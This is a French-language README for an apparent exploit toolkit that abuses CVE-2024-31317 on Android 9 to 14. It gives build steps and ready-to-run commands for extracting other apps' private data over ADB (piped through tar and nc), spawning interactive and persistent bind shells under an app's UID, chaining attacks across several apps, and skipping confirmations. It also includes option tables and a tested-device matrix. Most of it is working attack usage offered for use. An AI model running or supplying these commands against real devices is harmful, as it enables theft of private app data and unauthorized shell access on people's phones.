
Ceci est un kit d'outils qui utilise CVE-2024-31317 pour extraire des données privées d'applications via ADB ou générer un shell avec l'UID d'une application.
Ce kit utilise CVE-2024-31317 pour extraire les données privées des applications via ADB ou lancer un shell avec l'UID d'une application. Cette vulnérabilité affecte les versions Android 9 à 14 avec un niveau de correctif de sécurité au 2024-06-01 ou antérieur. Une matrice de support des appareils testés se trouve ci-dessous.
sudo apt update
sudo apt install adb openjdk-17-jdk-headless android-sdk android-sdk-build-tools
export ANDROID_HOME=/usr/lib/android-sdk
export PATH=$PATH:$ANDROID_HOME/build-tools/34.0.0:$ANDROID_HOME/platform-tools
Ajoutez les lignes export à ~/.bashrc (ou équivalent) pour une persistance.
./setup.sh
# Construction et installation de l'APK carrier (auto-construction depuis les sources)
python3 cve_2024_31317.py com.google.android.youtube --setup --rebuild -y
# Extraction du répertoire de données d'une application
python3 cve_2024_31317.py -d NUMERO_APPAREIL -E -o app_data.tar -y com.example.app
L'exploit construit tout à partir de Hijack.java et AndroidManifest.xml au premier lancement.
python3 cve_2024_31317.py [flags] [package]
# Extraction
python3 cve_2024_31317.py -d APPAREIL -E -o youtube.tar -y com.google.android.youtube
# Vérifier si l'appareil est vulnérable
python3 cve_2024_31317.py -d APPAREIL --check-vuln
# Shell interactif bind
python3 cve_2024_31317.py -d APPAREIL -i -y com.google.android.youtube
# Shell persistant sur le port 7777
python3 cve_2024_31317.py -d APPAREIL -S 7777 -y com.google.android.youtube
# Chaîne multi-applications
python3 cve_2024_31317.py -d APPAREIL -E -y --chain-targets "app1,app2,app3"
# Récupération uniquement (corriger boucle de démarrage)
python3 cve_2024_31317.py -d APPAREIL --recover
Tout se construit à partir des sources à l'exécution. La chaîne de construction utilise javac (JDK 17+), d8, aapt, zipalign et apksigner du SDK Android.
Si l'appareil a un code de verrouillage, il démarre en BFU (Before First Unlock). L'exploit interroge sys.user.0.ce_available pendant jusqu'à 5 minutes jusqu'à ce que vous déverrouilliez. Il est recommandé de supprimer le code de verrouillage pendant la durée de l'exploit.
† Spécifique à Samsung One UI : l'injection de ZNJECT réussit et l'extraction -E fonctionne, mais le shell bind toybox nc ServerSocket ne s'ouvre jamais. Nécessite des recherches supplémentaires pour trouver la cause racine du problème.
La charge utile reste dans hidden_api_blacklist_exemptions peut provoquer une boucle de démarrage au prochain redémarrage. Exécutez --recover pour réinitialiser :
python3 cve_2024_31317.py -d APPAREIL --recover
| Option | Description |
|---|
-E | Extraire les données de l'application via grandchild tar | nc (survit à la destruction du parent) |
-i | Shell interactif bind (REPL) |
-S PORT | Shell persistant (protocole FIFO à port unique) |
--recover | Réinitialiser le paramètre, corriger le blocage au démarrage / la dégradation de Zygote |
--setup | Construire + installer l'APK carrier uniquement (pas d'injection) |
--list-apps | Lister tous les paquets installés avec UID et type sys/user |
--check-vuln | Vérifier si l'appareil est vulnérable à CVE-2024-31317 puis quitter |
| Option | Description |
|---|
-o fichier.tar | Chemin de sortie pour l'archive d'extraction |
-y / --yes | Ignorer les invites de confirmation |
--retries N | Nombre maximum de tentatives par cible (défaut 3) |
--chain-targets "pkg1,pkg2" | Extraire plusieurs applications en une session |
--chain-file fichier.json | Identique à ci-dessus, depuis un fichier JSON |
--reboot-after | Redémarrer après extraction (restaure Zygote) |
--reboot-every N | Redémarrer après chaque N cibles de la chaîne |
--cold | Ignorer le préchauffage ; stocker la charge utile pour le prochain lancement d'application |
--port PORT | Port du shell bind (défaut 8888) |
-d SERIAL | Cibler un appareil spécifique (plusieurs connectés) |
--rebuild | Forcer la reconstruction de l'APK carrier |
| Appareil | Android | API | Correctif | ABI | -E | -i | -S | --chain | --cold | --retries | --recover | --reboot-after | --list-apps | --check-vuln | Score |
|---|
| Google Pixel 3 | 12 | 31 | 2021-10-05 | arm64-v8a | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | 12/12 |
| Samsung SM-P615 Tab S6 Lite | 13 | 33 | 2024-05-01 | arm64-v8a | ✅ | ❌† | ❌† | ✅ | ✅ | ❌† | ✅ | ✅ | ✅ | ✅ | 9/12 |
| sdk_gphone_x86_64 (émulateur) | 10 | 29 | 2019-09-05 | x86_64 | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | 12/12 |